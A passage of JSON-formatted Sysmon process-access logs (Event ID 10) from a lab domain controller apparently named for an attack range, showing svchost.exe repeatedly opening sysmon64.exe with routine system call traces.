11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 